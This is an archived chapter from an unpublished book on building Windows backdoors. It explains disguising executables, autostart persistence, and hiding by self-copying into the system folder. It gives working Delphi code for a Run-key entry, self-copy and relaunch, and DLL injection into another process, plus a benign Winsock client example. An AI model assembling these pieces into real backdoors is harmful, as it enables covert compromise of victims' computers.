Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                

Aphex - Dissection of A Backdoor

Download as doc, pdf, or txt
Download as doc, pdf, or txt
You are on page 1of 27

Back in the day when backdoors still had room to

grow, Aphex was signed on with a major publisher to


write a book on the subject. He missed a few
deadlines and they ended up axing the project. In
2004, He sent me a few chapters to check out. Here is
chapter two for the internet museum (hope he doesn’t
mind).
-stm

Remember:
akcom, drocon, archphase, MrJinxy, Olympus, PrinceAli, d-one, nelix, k0nsl, aza, b0b,
slash, illy and everyone else that experienced the #trinity days.

Chapter 2, 1
Chapter 2

Dissection of a Backdoor

Components of a Backdoor

Backdoors consist of many different parts that enable them to achieve their ultimate goal,
complete access to a system. As the previous chapter described, these components are common
for most backdoors. This chapter briefly details each one and demonstrates how their simplest
forms behave. In addition, this chapter will provide you with an overview of how backdoors
work and prepare you for the following chapters.

Physical: Executable Formats

In order for backdoors to transfer from the attacker to the victim, they need to be in a
standard package that can run on the victim. The portable executable (PE) format is the most
common form of transportation and execution. The PE format defines how an application should
store its code and dependencies in a single file. This executes with the same results across
multiple versions of Windows operating system and usually without any extra libraries needed.

When a user double clicks a file icon in Explorer, many things can happen depending on the
type of file. The way in which Explorer determines the type of file is by the file extension. For
example, in the filename “server.exe” the “exe” is the file extension. The extension tells Explorer
that this is an executable file and it should create a new process for it when a user double clicks
it. Explorer opens other file extensions such as “mp3” and “wav” with an associated program
such as Windows Media Player. Explorer knows to do this by checking information located in
the registry. The setting for EXE files is under the root key, HKEY_CLASSES_ROOT, located in
\exefile\shell\open\command.

This key instructs how Explorer is to open executable file types. In this case, it should
simply execute it and pass the remaining parameters to it. Interestingly enough, backdoors can
modify this key so that Explorer executes the backdoor every time a user opens an EXE. The
backdoor is then responsible for loading the executables. If an antivirus deletes the backdoor
without repairing this registry value, executable files will not be able to load. The “exe”
extension is just one of many executable extensions. Table 2.1 lists every default alternate
executable extension on Windows XP.

Table 2.1
Alternate Executable Extensions
Extension Name Type
BAT MS-DOS Batch File Batch shell scripts
CMD Windows NT Command Script Shell script, NT specific batch file

Chapter 2, 2
COM MS-DOS Application MS-DOS console application
PIF Shortcut to MS-DOS Application Links to MS-DOS applications
SCR Screen Saver Executable screen saver application

If an attacker renames a standard EXE to any of these extensions, it will still work the same.
The only difference is the file icon, which may change to the icon of the associated format. These
different formats can confuse users into opening applications that would otherwise be suspicious.
An interesting note about the PIF extension is that Explore hides it regardless of the “Hide
extensions for known file types” option selected or not. This can confuse users into running an
application that appears as “server.mp3” when its name is actually “server.mp3.pif”. Several
worms have made use of this fact. Because of this, the PIF extension has grown in common user
knowledge as being an executable file type.

Beyond EXE Files

Many other file formats can lead to a backdoor installing and executing. Windows provides a
built-in scripting engine called Windows Script Hosting (WSH). This engine allows scripts to
fulfill many dynamic and useful purposes. Unfortunately, it also opens yet another avenue for
attackers to exploit. WSH comes with two scripting languages installed by default. These are
Visual Basic (VB) and Java or VBScript and JScript respectfully. These scripts are able to
manipulate various system aspects such as the file system and registry. They are also able to
execute applications. Some attackers will embed a standard EXE file inside of a script. When the
script executes, it writes the EXE to disk and executes it. Attackers call this “dropping” an
executable. Many tools allow attackers to create droppers for different file formats. Table 2.2
details some of the formats attackers use to drop EXE files.

Table 2.2
Scripting Executable Extensions
Extension Name Type
VBS VBScript Script File Visual Basic script
VBE VBScript Encoded Script File Encoded Visual Basic script
JS JScript Script File Java script
SHS Scrap Object OLE scrap object
HTA HTML Application Trusted form of HTML files

Windows trusts all of these extensions and does not display any warning or prompt the user
to allow prevention of performing malicious activities. They are as dangerous as any EXE file.
Like PIF extensions, Explorer automatically hides the SHS extension by default regardless of the
folder settings. Shell scraps are also interesting because Windows can embed executable files in
them using only Wordpad. The result is an executable that appears to be a harmless text file with
only a slightly different file icon.

Another form of PE files is Dynamic Link Libraries (DLL). These DLL files are a special
type of PE that allows applications to share code. Typically DLL files are loaded by an
application using Windows built-in loader, LoadLibrary(). Double clicking on a DLL file will

Chapter 2, 3
not cause it to execute. However, some extensions will inadvertently cause a DLL to be loaded.
One of these is the CPL extension. These CPL files are control panel extensions and control.exe
loads them when they are double clicked. Control panel extensions have a few special
requirements to work properly but unfortunately, control.exe only verifies these requirements
after they are loaded and the DLL has already had a chance to execute its code.

Persistence: Surviving Shutdowns

For a backdoor to be useful, the attacker must be able to connect to it. If the backdoor is not
running because Windows has been shutdown, the attacker will not be able to connect. To
overcome this, the backdoor must have a way to execute each time Windows starts. There are
many methods to accomplish this. The backdoor can use one of Windows standard methods that
it provides to applications. If the backdoor wants to be even more insidious, it can piggyback on
top of another application that automatically starts each time Windows loads. Table 2.3 details
the standard methods for having an application load with Windows in the order that they are
loaded.

Table 2.3
Standard Startup Methods
Startup Method Windows Versions Descriptions
Config.sys 95, 98 This INI format file provides
management of real mode devices
during the boot process.
Autoexec.bat 95, 98 Config.sys loads this file unless
otherwise specified.
Winstart.bat 95, 98 Halfway between DOS and
Windows, this file is loaded and
parsed.
Registry Run All Versions This is by far the most popular
method for loading applications
every time Windows loads.
Wininit.ini All Versions Installers usually use this to delete
or rename files after rebooting.
System.ini All Versions This INI handles loading drivers and
configuring system settings.
Win.ini All Versions Win.ini is similar to System.ini
except that it is for non-system
applications.
NT Services NT, 2000, XP, 2003 Services are the newest and most
powerful startup method. Services
execute with the highest privileges
and exist in separate from the logged
in user.
Startup Folder All Versions The startup folder is easiest to use.
Any applications or shortcuts
located in this folder will
automatically execute each time a
user logs in.
Active Setup All Versions This is one of the least known
methods. It is only available with
Internet Explorer 5 or later.

Chapter 2, 4
Using Registry Run Example

The following application demonstrates how to create a registry key to load an application
each time Windows starts.

1 program regrun1;
2
3 {$APPTYPE CONSOLE}
4
5 uses
6 Windows;
7
8 var
9 Key: HKEY;
10
11 const
12 Path: 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run';
13 App: 'run.exe';
14
15 begin
16 RegOpenKey(HKEY_LOCAL_MACHINE, Path, Key);
17 RegSetValue(Key, App, REG_SZ, App, Length(App) + 1);
18 RegCloseKey(Key);
19 end.

Lines 1-6: Options and dependencies

This section defines the program name, compiler options and other needed units to compile
this application. This example’s binary output is very small because it does not use Delphi’s
visual component library (VCL). Instead, it only needs Windows. This is an advantage for file
size but it makes developing applications a lot more work. There are other options if the
developer is willing to sacrifice executable size for ease of use.

Lines 8-9: Global variables

Global variables are accessible from any place in the application. Variables allow
applications to store temporary information to use in computational tasks. Complex or multi-
threaded applications sparsely use global variables because of synchronization issues. Windows
threads can execute at the same time as each other and if more than one thread tries to access the
same variable, the threads may interrupt each other and cause unexpected errors. To overcome
the issue Windows offers several “bottle necks” that allow multiple threads to access global
variables one at a time.

Chapter 2, 5
Line 16: Open the key

Before the application is able to write to the registry, it must first open a handle to a key or
create one. The registry is similar in format to an ordinary file system. There is a root key and
one or more subkeys. Each subkey can hold multiple values. Each value can have a different
format such as a string or binary value. To open a registry key it uses the RegOpenKey()
function.

function RegOpenKey(
hKey: HKEY;
lpSubKey: PChar;
var phkResult: HKEY
): Longint; stdcall;

The RegOpenKey() function accepts 3 parameters. The hKey parameter is the root key
containing the desired subkey. The lpSubKey parameter contains the location of the subkey in a
string format. The phkResult receives the opened key if the function is successful. If the
function succeeds, the result is 0. If the function fails, the result is a nonzero error code.

Line 17: Set the value

Now that the application has opened a key, it can write its values to it. The type of value
required for a startup registry key is REG_SZ or REG_EXPAND_SZ.

function RegSetValue(
hKey: HKEY;
lpSubKey: PChar;
dwType: DWORD;
lpData: PChar;
cbData: DWORD
): Longint; stdcall;

The RegSetValue() function accepts 5 parameters. The hKey parameter is the previously
opened registry key. The lpSubKey parameter is the value to write the data. The dwType
parameter specifies the format of the value, in this case REG_SZ. The lpData parameter is a
pointer to the data to write to the value. The cbData parameter is the number of bytes to write. If
the function succeeds, the result is 0. If the function fails the results is a nonzero error code.

Line 18: Close the key

Once the application has written the value to the registry, it needs to clean up by closing all
open keys. This is done with the RegCloseKey() function.

function RegCloseKey(

Chapter 2, 6
hKey: HKEY
): Longint; stdcall;

The RegCloseKey() function accepts 1 parameter. The hKey parameter is the registry key
to close. If the function succeeds, the result is 0. If the function fails, the result is a nonzero error
code.

Installing Backdoors

The other half of the persistence puzzle is choosing exactly where to locate the backdoor
executable. It would not be wise if the backdoor created a registry key pointing to its current
location. Typically, the first execution location of a backdoor is only temporary. If the backdoor
were to rely on this location, it would most likely be deleted or raise suspicion. An ideal location
would be in a Windows system file directory. Because of the numerous system files located in
these folders, the backdoor is more likely to go unnoticed. When a backdoor chooses this
approach, it will often set its file time to match a genuine system file. This gives the backdoor an
appearance of not being any newer than the surrounding cover files. Some startup methods are
location dependent. For example, the startup folder method requires the executable to be located
in its folder.

Copying To System Example

The system folder is an ideal location for backdoors. Windows provides several functions for
locating important folders. Once the system folder is located, the backdoor compares its current
path with the system folder path. If they do not match, the backdoor creates a copy of itself in the
system folder and executes the copy. After moving to the system folder, the original copy exits
and allows the copy to continue execution from where the original halted. The following example
demonstrates the functions involved in this procedure.

1 program sysinstall1;
2
3 {$APPTYPE CONSOLE}
4
5 uses
6 Windows, Sysutils;
7
8 var
9 CurrentPath: pchar;
10 SystemPath: pchar;
11 Location: pchar;
12
13 function GetSystemPath: string;
14 var
15 Path: array [0..MAX_PATH - 1] of Char;
16 begin
17 GetSystemDirectory(Path, Sizeof(Path));
18 Result := string(Path) + '\';
19 end;

Chapter 2, 7
20
21 begin
22 CurrentPath := pchar(ExtractFilePath(ParamStr(0)));
23 SystemPath := pchar(GetSystemPath);
24 WriteLn(ParamStr(0));
25 ReadLn;
26 if lstrcmpi(CurrentPath, SystemPath) <> 0 then
27 begin
28 Location := pchar(string(SystemPath) + '\test.exe');
29 CopyFile(pchar(ParamStr(0)), Location, False);
30 WinExec(Location, SW_SHOW);
31 end;
32 end.

Line 22-23: Get current and system path

The current path is located within the command line passed to the current process. Each new
process receives a copy of the command line consisting of the current executable path and the
parameters passed to the application. The application can access the first item in the command
line using ParamStr(0).

The system path is located using the GetSystemDirectory() function. In the example, a
wrapper function, GetSystemPath() has been created to simplify using the function.

function GetSystemDirectory(
lpBuffer: PChar;
uSize: UINT
): UINT; stdcall;

The GetSystemDirectory() function accepts 2 parameters. The lpBuffer parameter is a


buffer used to store the resulting path string. The uSize parameter specifies the size of the buffer
in bytes. If the function succeeds, the result is length in bytes returned in lpBuffer. If the
length is greater than the size of the buffer, the result returns the number of bytes needed to
contain the string. If the function fails, the result is 0. To get extended error information use
GetLastError().

Line 26: Compare paths

Windows file paths are case insensitive. Because of this, the application uses the case
insensitive string compare function, lstrcmpi().

function lstrcmpi(
lpString1: PChar;
lpString2: PChar
): Integer; stdcall;

Chapter 2, 8
The lstrcmpi() function accepts 2 parameters. The lpString1 parameter is the first
string to compare. The lpString2 is the second string to compare. If the strings are equal, the
result is 0. If the first string is greater than the second is, the result is positive. If the first string is
less than the second is, the result is negative.

Line 29: Create a copy

To copy a file from one path to another, the CopyFile() function is used. This function is
very straightforward.

function CopyFile(
lpExistingFileName: PChar;
lpNewFileName: PChar;
bFailIfExists: BOOL
): BOOL; stdcall;

The CopyFile() function accepts 2 parameters. The lpExistingFileName parameter is


the path of the file the application wishes to copy. The lpNewFileName is the target path for the
new copy. The bFailIfExits parameter instructs whether or not the CopyFile() function
should return false if the file already exists at the location for the new copy. If the function
succeeds, the result is True. If the function fails, the result is False.

Line 30: Execute the copy

Once the application creates the copy, it can execute the copy and allow it to continue
execution. These steps happen in a split second. To the user, it appears as if the original
application was never in use. There are several methods available for executing a new
application. One very simple function is WinExec().

function WinExec(
lpCmdLine: LPCSTR;
uCmdShow: UINT
): UINT; stdcall;

The WinExec() function accepts 2 parameters. The lpCmdLine parameter is the desired
application to run. It can simply be a path to an executable or it can also specify parameters to
pass to the executable. The uCmdShow parameter specifies whether the process should execute
visibly to the user. Backdoors will typically use SW_HIDE to create a hidden process but for
demonstration purposes, the example uses SW_SHOW instead. If the function succeeds, the result
is greater than 31. If the function fails, it can be one of several error codes, 0,
ERROR_FILE_NOT_FOUND, ERROR_PATH_NOT_FOUND or ERROR_BAD_FORMAT.

Chapter 2, 9
Execution: Process Hijacking and DLL Injection

Once a backdoor has taken all the necessary precautions to ensure its persistence, it is time
for the backdoor to decide where it should execute. The simplest choice is to stay in the current
process and continue execution. However, this is not very stealthy because any process viewer
will be able to view the extra running process unless it takes steps to hide its presence. To do so,
backdoors use remote execution. The backdoor will copy its code into another process and
execute from there.

The most useful form of remote execution is DLL injection. A backdoor will contain its code
inside of a DLL and force another application to load it. When the application loads the DLL, it
executes its entry point. This allows the DLL to create a thread to continue execution while
passing control back to the calling process. To have a DLL loaded in another process, the
backdoor must force the other process to call LoadLibary() with the path to its DLL. The
following example demonstrates the functions involved in this procedure.

Another method of remote execution is process hijacking. This is when the backdoor
executable takes an existing process and copies its code directly into the process. The application
then forces the process to execute its code by either creating a new thread for it or changing the
execution point of an existing thread.

DLL Injection Example

1 program dllinject1;
2
3 uses
4 Windows;
5
6 var
7 PID, BytesWritten: dword;
8 Process, Thread, ThreadId: dword;
9 hKernel: dword;
10 pLoadLibrary, Paramaters: pointer;
11 DLL: pchar;
12
13 begin
14 DLL := 'c:\Inject\Library.dll';
15 PID := 1784;
16 Process := OpenProcess(PROCESS_ALL_ACCESS,
17 False,
18 PID);
19
20 Paramaters := VirtualAllocEx(Process,
21 nil,
22 4096,
23 MEM_COMMIT,
24 PAGE_READWRITE);
25
26 WriteProcessMemory(Process,
27 Paramaters,

Chapter 2, 10
28 Pointer(DLL),
29 4096,
30 BytesWritten);
31
32 hKernel := GetModuleHandle('KERNEL32.DLL');
33
34 pLoadLibrary := GetProcAddress(hKernel,
35 'LoadLibraryA');
36
37 Thread := CreateRemoteThread(Process,
38 nil,
39 0,
40 pLoadLibrary,
41 Paramaters,
42 0,
43 ThreadId);
44
45 WaitForSingleObject(Thread, INFINITE);
46
47 VirtualFreeEx(Process,
48 Paramaters,
49 0,
50 MEM_RELEASE);
51
52 CloseHandle(Thread);
53 CloseHandle(Process);
54 end.

Lines 14-15: Set DLL path and target process

First, the application must select a target process. This is beyond the scope of this example.
Later chapters cover target selection in detail. For now, the only concern is how the DLL gets
loaded. The path to the DLL must be the full path unless it is located in the system folder. This is
because LoadLibrary() only checks a few known locations and the DLL will most likely not
be in the same directory as the target application. The PID is the Process ID of the target.

Lines 16-18: Open target process

Before the application can interact with the target process, it must first open a handle to it.
This is done using the OpenProcess() function.

function OpenProcess(
dwDesiredAccess: DWORD;
bInheritHandle: BOOL;
dwProcessId: DWORD
): THandle; stdcall;

Chapter 2, 11
The OpenProcess() function accepts 3 parameters. The dwDesiredAccess parameter is
the type of access requested for the process. The level of access available depends on the current
user and account settings. For injection, PROCESS_ALL_ACCESS is required. The
bInheritHandle parameter specifies whether the application should inherit the target’s
handles. The example does not need this for injection. The dwProcessId parameter is the
process ID of the target. If the function succeeds, the result is an open handle to the process. If
the function fails, the result is 0,

Lines 20-24: Allocate memory in the target

The LoadLibrary() function requires, among other things, a pointer to a null terminated
string containing the path to the DLL to be loaded. Since pointers are only valid in the same
process, the application must allocate a new chunk of memory in the target to store the DLL path
string. Windows NT 4 and later versions provide the VirtualAllocEx() function for this
purpose.

function VirtualAllocEx(
hProcess: THandle;
lpAddress: Pointer;
dwSize: DWORD;
flAllocationType: DWORD;
flProtect: DWORD
): Pointer; stdcall;

The VirtualAllocEx() function accepts 5 parameters. The hProcess parameter is an


open handle to the target process. The lpAddress parameter is the preferred address for the
newly allocated memory. If the application specifies an address of nil, Windows will
automatically select a suitable address. The dwSize parameter is the number of bytes of
allocated memory required. The flAllocationType parameter specifies the type of allocation.
In order to access the memory it must first be committed. The flProtect specifies the type of
operations allowed. Since the example is merely using the memory for data storage and not
executable code, the value of PAGE_READWRITE is used. If the function succeeds, the result is
a pointer to the newly allocated memory. If the function fails, the result is nil.

Lines 26-30: Write the DLL path to the target

As mentioned before, pointers are not valid across multiple processes. This means that the
pointer to the memory previously allocated is only valid in remote process. Fortunately,
Windows provides access to pointers located in other processes using certain debug functions. To
write data to the memory, the application uses WriteProcessMemory().

function WriteProcessMemory(
hProcess: THandle;
const lpBaseAddress: Pointer;
lpBuffer: Pointer;

Chapter 2, 12
nSize: DWORD;
var lpNumberOfBytesWritten: DWORD
): BOOL; stdcall;

The WriteProcessMemory() function accepts 5 parameters. The hProcess parameter is


the previously opened handle to the target process. The lpBaseAddress parameter is the
starting address of the memory the application is modifying. The lpBuffer parameter is a
pointer to the data that the application is writing. The nSize parameter specifies the number of
bytes contained in the buffer. The lpNumberOfBytesWritten parameter will contain the
number of bytes actually written to the memory when the function returns. If the function
succeeds, the result is nonzero. If the function fails, the result is 0.

Lines 37-43: Force the target to load the DLL

Once the DLL path has been successfully copied into the target process, the target can then
be forced to call LoadLibrary(). To do this, the application creates a new thread in the target
process. The new thread’s starting address is set to the address of LoadLibrary() and the
parameter passed to it is the pointer to the allocated memory containing the DLL path.

function CreateRemoteThread(
hProcess: THandle;
lpThreadAttributes: Pointer;
dwStackSize: DWORD;
lpStartAddress: TFNThreadStartRoutine;
lpParameter: Pointer;
dwCreationFlags: DWORD;
var lpThreadId: DWORD
): THandle; stdcall;

The CreateRemoteThread() function accepts 7 parameters. The hProcess parameter is


the previously opened handle to the target process. The lpThreadAttributes specifies the
security parameters for the thread. A value of 0 results in the default security descriptor. The
dwStackSize parameter specifies the initial size of the thread’s stack. A value of 0 results in the
default stack size. The lpStartAddress parameter is the address of the code to execute when
the thread loads. To load a DLL this should be set to the address of LoadLibrary(). When the
thread loads, Windows passes the lpParameter parameter to the thread. This should be set to
the path of the DLL to load. The dwCreatingFlags parameter specifies different options to use
when creating the thread. The example does not need any no additional options. If the default
value of 0 is specified. The lpThreadId parameter will contain the thread ID of new thread
when the function returns. If the function succeeds, the result is a handle to the new thread. If the
function fails, the result is 0.

Line 45: Wait for the DLL to load

Chapter 2, 13
Before the application can clean up it must wait for the thread to exit and the DLL to load.
Windows provides a function for just this purpose.

function WaitForSingleObject(
hHandle: THandle;
dwMilliseconds: DWORD
): DWORD; stdcall;

The WaitForSingleObject() function accepts 2 parameters. The hHandle parameter is a


handle that the application wishes to wait for. The function waits until the handle is in a signaled
state or it is no longer valid. The dwMilliseconds parameter specifies the time in milliseconds
to wait on the handle. To wait forever the application specifies a value of INFINITE. If the
function succeeds, the result is the event that caused the function to return. If the function fails,
the result is WAIT_FAILED.

Lines 47-53: Clean up

After the DLL is loaded, the application frees the memory to spare resources from being
wasted. This process is basically the opposite of VirtualAllocEx().

function VirtualFreeEx(
hProcess: THandle;
lpAddress: Pointer;
dwSize: DWORD;
dwFreeType: DWORD
): Pointer; stdcall;

The VirtualFreeEx() function accepts 4 parameters. The hProcess parameter is the


previously opened handle to the target process. The lpAddress is the starting address of the
allocated memory. The dwSize parameter is the number of bytes to free. The dwFreeType
parameter is the type of freeing operation. In the case of the example, it needs to be decommitted.
For some strange reason, Borland has declared the return type of VirtualAllocEx() as a
point. However, according to the Windows SDK the result should be of a BOOL type. If the
function is nil, it has failed. Otherwise, the result is nonzero.

Communications: Clients and Servers

Client and server relationships form the basis of most of the technologies we use on the
internet. A server provides a service and a client enables us to make use of that service. The most
common type is a HTTP server. As a service, it provides web pages and other content such as
images for the HTTP client. Your web browser is the HTTP client. It utilizes HTTP to
communicate with the server and retrieve documents. In order for the client and server to
communicate there must be a set of rules or a protocol that defines the roles and behaviors of the
client and server. Most developers design protocols on paper first and then later translate it into

Chapter 2, 14
source code. This allows developers to solve problems in abstract first without rewriting many
lines of source code. However, backdoor protocols are anything but standard and most
developers write their protocols on the fly. The actual format of the messages exchanged can be
simple or complex depending on the intended usage and the developer’s level of programming
skill. A simple message protocol may look something like the following.

“Command + Separator + Parameter 1 + Separator + Parameter 2…”

The client and server use the separator to break the message into usable pieces. Each
different command specifies the number and type of parameters expected according to the
protocol. This type of approach works fine as long as binary data is not expected. Otherwise, the
binary data might contain the separator or null characters and make correctly parsing the data
impossible.

In most backdoor protocols, there are two types of messages, request and reply. The client
sends requests to the server to request a service. This can be anything from the server status to a
listing of files. The server sends back the results of the request in the form of a reply message.
The message may contain a message indicating the success or failure of the command, or it can
contain the requested data such as a file listing.

Before the client and server exchange messages, they form a connection between each other.
Most Windows applications use Winsock to accomplish this. Winsock is a set of API that allows
applications to send data over any network protocol. It defines a specification for a socket similar
to the BSD Unix version. Applications create a socket and receive a descriptor to it, much like a
file handle or a named pipe. Assuming the protocol is connection oriented the application makes
a connection. Upon a successful connection, the application reads and writes data to the socket
descriptor similar to windows file API. The applications in the following sections demonstrate
how to use Windows sockets.

Client Application Example

A common task for a HTTP client is to download a web page from a HTTP server. This may
seem like a daunting chore but requesting a file is actually simple thanks to the clear and logical
format of all the protocols involved. The following console application first initializes Winsock
and creates a socket. Then the socket connects using Microsoft’s address and sends a GET
request to the server. As the server sends the reply, the application prints the output to STDOUT.
After the server completes the transfer of the requested page, the client closes the socket and
shuts Winsock down.

1 program wget1;
2
3 {$APPTYPE CONSOLE}
4
5 uses
6 Windows,
7 Winsock;
8
9 var
10 wsa: TWSAData;

Chapter 2, 15
11 sck: TSocket;
12 sin: TSockAddrIn;
13 hent: PHostEnt;
14 bytes: integer;
15 buf: array [0..1023] of char;
16
17 const
18 Address: pchar = 'www.microsoft.com';
19 Port: integer = 80;
20 Request: pchar =
21 'GET / HTTP/1.1' + #13#10 +
22 'Host: www.microsoft.com' + #13#10 +
23 'Connection: close' + #13#10#13#10;
24
25 begin
26 WSAStartUp($101, wsa);
27
28 sck := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
29 if sck = INVALID_SOCKET then Exit;
30
31 sin.sin_family := AF_INET;
32 sin.sin_port := htons(Port);
33 sin.sin_addr.s_addr := inet_addr(Address);
34
35 if sin.sin_addr.s_addr = INADDR_NONE then
36 begin
37 hent := gethostbyname(Address);
38 if hent = nil then
39 begin
40 closesocket(sck);
41 Exit;
42 end;
43 sin.sin_addr.s_addr := PLongint(hent^.h_addr_list^)^;
44 end;
45
46 if connect(sck, sin, SizeOf(sin)) = SOCKET_ERROR then Exit;
47
48 send(sck, pointer(Request)^, Length(Request), 0);
49
50 while True do
51 begin
52 ZeroMemory(@buf, SizeOf(Buf));
53 bytes := recv(sck, buf, SizeOf(buf), 0);
54 if bytes = 0 then Break;
55 if bytes = SOCKET_ERROR then Break;
56 Write(buf);
57 end;
58
59 closesocket(sck);
60 WSACleanup;
61
62 ReadLn;
63 end.

Chapter 2, 16
Lines 17-23: Global constants

Global constants are special variables that never change. They are useful for storing
important settings and because they are global, they are accessible from any location in the
application. Since constants never change, they are safe to use even in multi-threaded
applications.

Line 26: Initialize Winsock

Before an application is able to create a socket, it must first initialize Winsock. There are two
major versions of Winsock but in order to maintain compatibility with future versions, Winsock
requires the application to negotiate the minimum version required against the maximum version
supported. Older versions, such as Windows 95 and NT 3.x, come with Winsock 1.1 default. All
following versions include Winsock 2 but are also able to support Winsock 1.1. Unless your
application specifically needs Winsock 2 features, it is safer to use Winsock 1.1. This will enable
your application to support older versions of Windows.

function WSAStartup(
wVersionRequired: word;
var WSData: TWSAData
): Integer; stdcall;

Take a look at the WSAStartup() function. The first parameter, wVersionRequired, is


the highest supported version of Winsock by the application. The second parameter, WSData, is a
variable used to hold information about the version of Winsock negotiated. If the function
succeeds the return value is 0, if not it will return one of several Winsock error codes. MSDN
maintains full specification of this and all other Winsock functions online at
http://msdn.microsoft.com/library/en-us/winsock/winsock/winsock_reference.asp.

Lines 28-29: Create a socket to use

Once Winsock as been initialized, the application creates a socket for TCP/IP usage.
Winsock can support any network protocol but for reliable and long-lived connections, TCP/IP is
the ideal choice. To specify the network protocol our socket should use, the application calls the
Winsock socket() function with SOCK_STREAM and IPPROTO_TCP options. Other options
regarding the socket can be controlled once it is created using setsocketopt() and
ioctlsocket() but these are more advanced topics and most applications will not make use of
but a few additional features.

function socket(
af: Integer;
Struct: Integer;
protocol: Integer
): TSocket; stdcall;

Chapter 2, 17
The socket() function accepts 3 parameters, the first is the address family. This tells the
Winsock what type of address the socket should use. In able to use IP the application must
specify AF_INET for the address family. This applies to UDP, TCP and raw IP sockets. The
second parameter is the type of socket required. SOCK_STREAM and SOCK_DGRAM are for TCP
and UDP respectively and are the only two supported by Winsock 1.1. The last parameter is the
protocol to use with the socket. IPPROTO_TCP obviously specifies TCP. If the function succeeds,
the return value is a socket descriptor. If an error occurs the return value is the constant
INVALID_SOCKET and WSAGetLastError() contains extended error information.

Lines 31-33: Fill in the address structure

Before the application can connect to a host, it needs to know the address. Socket addresses
are contained within a special structure defined by Winsock. The structure contains the address,
address family and if applicable, the port number to connect to.

sockaddr_in = record
case Integer of
0: (sin_family: u_short;
sin_port: u_short;
sin_addr: TInAddr;
sin_zero: array[0..7] of Char);
1: (sa_family: u_short;
sa_data: array[0..13] of Char)
end;
TSockAddrIn = sockaddr_in;

The structure of TSockAddrIn may seem a little confusing. This is because it is really two
structures in one, known as a structure union. The most important structure is the first one. It
contains the three important properties, sin_family, sin_port and sin_addr. The family, as
was mentioned earlier, is AF_INET. The port number is the port of the service running on the
server. In the case of this application, it is port 80, the standard HTTP port. The address is
another structure in itself but most applications do not manipulate its properties directly. Instead,
applications access it as a single 32-bit value or convert it from dotted notation. The function
used to convert a dotted notation IP address into this structure is inet_addr().

Lines 35-44: Resolve address

If the address supplied to inet_addr() is a host name, as in this case, and not a dotted
notation IP address, the function will fail and return INADDR_NONE. This means that the
application must resolve the host name to an IP address before it can connect. The protocol used
to resolve a host name to an IP address is DNS. DNS can be a complex protocol but thankfully,
Windows provides an easy method for resolving host names.

function gethostbyname(

Chapter 2, 18
name: PChar
): PHostEnt; stdcall;

The gethostbyname() function accepts a hostname, in this case “www.microsoft.com”


and performs the DNS request on the applications behalf. If the function succeeds, the result is a
pointer to a seemingly complex THostEnt structure defined by Winsock. If the function fails,
the return value is nil.

PHostEnt = ^THostEnt;
{$EXTERNALSYM hostent}
hostent = record
h_name: PChar;
h_aliases: ^PChar;
h_addrtype: Smallint;
h_length: Smallint;
case Byte of
0: (h_addr_list: ^PChar);
1: (h_addr: ^PChar)
end;
THostEnt = hostent;

At first glance this structure seems complex but we are really only interested to the
h_addr_list property. It contains a list of null terminated IP addresses for the requested host.
Most hosts have only one IP and for the application’s purposes, it only retrieves the first.

Line 46: Connect the socket to the server

Now that the application has taken all the steps to prepare the socket, it creates the
connection to the HTTP server. This is done using the connect() function which accepts the
created socket and address structure and attempts the connection.

function connect(
s: TSocket;
var name: TSockAddr;
namelen: Integer
): Integer; stdcall;

The connect() function accepts 3 parameters. The first parameter, s, is a socket that was
created with the socket() function. The name is an address structure filled with the destination
address in compliance with the chosen address family. Finally, the namelen parameter specifies
the size of the address structure. If the function succeeds the result is 0 if it fails the result is
SOCKET_ERROR and WSAGetLastError() contains extended error information.

Chapter 2, 19
Line 48: Send the request

Now that the socket has connected the client, it can tell the server what document it is
requesting. This is where the HTTP protocol is involved. To request a document the application
must form it in the form of a HTTP GET request. For this simple client the request has been
“hard coded” into the client using the Request constant.

function send(
s: TSocket;
var Buf;
len: Integer;
flags: Integer
): Integer; stdcall;

The send() function accepts 4 parameters. The first, as you should know, is the same socket
descriptor used earlier in the application. The buf parameter is the buffer that the application
wishes to send. In this case, it is an array of 1024 bytes. The len parameter is the number of
bytes contained in the buffer. The final parameter is used for advanced functions and in this case
is set to 0. If the send() function succeeds the result is the amount of bytes actually sent, which
may be lower than the number specified with len. If there are already too many bytes queued to
be sent, the send() function returns 0. If an error occurs, the result is SOCKET_ERROR.

Lines 50-57: Receive and display reply

Assuming that the request was valid and the document exists, the server sends back the
document. The application uses the recv() function to receive data from the socket descriptor.
The data is received in chunks the size of the buffer, 1KB. When the recv() function is called
there may or may not be data waiting to be read. The server could still be processing the
command or a slow connection could delay the data. In any case, if there is no data waiting the
recv() function waits until there is data to be read and only returns afterwards. This is called
blocking mode because it blocks further execution. This could be a problem if the application
also needs to perform other actions such as processing window messages for the GUI. In these
cases, the socket can be set to non-blocking mode or a separate thread made for each socket.

function recv(
s: TSocket;
var Buf;
len: Integer
flags: Integer
): Integer; stdcall;

The recv() function accepts 4 parameters. The s parameter is the previously connected
socket descriptor. Buf is the buffer that receives the data and len is the size of that buffer. The
flags parameter has a special purpose and in most cases, it is simply set to 0. If the function
succeeds, the result is the number of bytes actually read in to the buffer. If it fails, the return is 0
or SOCKET_ERROR depending on the circumstances. In either case, this is a fatal error and the

Chapter 2, 20
loop only breaks on either of these results. Since in the HTTP request the connection is set to
automatically close, the loop will continue to read the data and dump it to the console using the
Write() function until it does so.

Lines 59-63: Shutdown and cleanup

Once the application has finished using Winsock, it is time to clean up. This consists of
closing all open sockets and shutting down Winsock. To do this the application uses the
closesocket() function to close the socket. Then the application shuts Winsock down and
frees any resources allocated by calling WSACleanup().

function closesocket(
s: TSocket
): Integer; stdcall;

function WSACleanup: Integer; stdcall;

The closesocket() function accepts only 1 parameter. The s is the open socket descriptor
to close. If the function succeeds, the result is 0 otherwise it returns SOCKET_ERROR. The
WSACleanup() function does not accept any parameters. If the function succeeds, the result is 0
otherwise it returns SOCKET_ERROR.

Server Application Example

HTTP servers are very complex compared to the clients. It would not make sense to use one
as an example here. Instead, the following application is an echo server. This is simply a server
that listens for text and sends back any text it receives. It is easy to test it with a telnet client.
Instead of creating connections, a server accepts them. Otherwise, a server application behaves
like a client application in many ways. Some of the functions in the example below are identical
in usage to the client. The line-by-line explanation following the example skips passed these
common functions and focuses on those not yet covered. Refer to the previous example for their
explanations.

1 program echo1;
2
3 {$APPTYPE CONSOLE}
4
5 uses
6 Windows,
7 Winsock;
8
9 var
10 wsa: TWSAData;
11 sck: TSocket;
12 sin: TSockAddrIn;

Chapter 2, 21
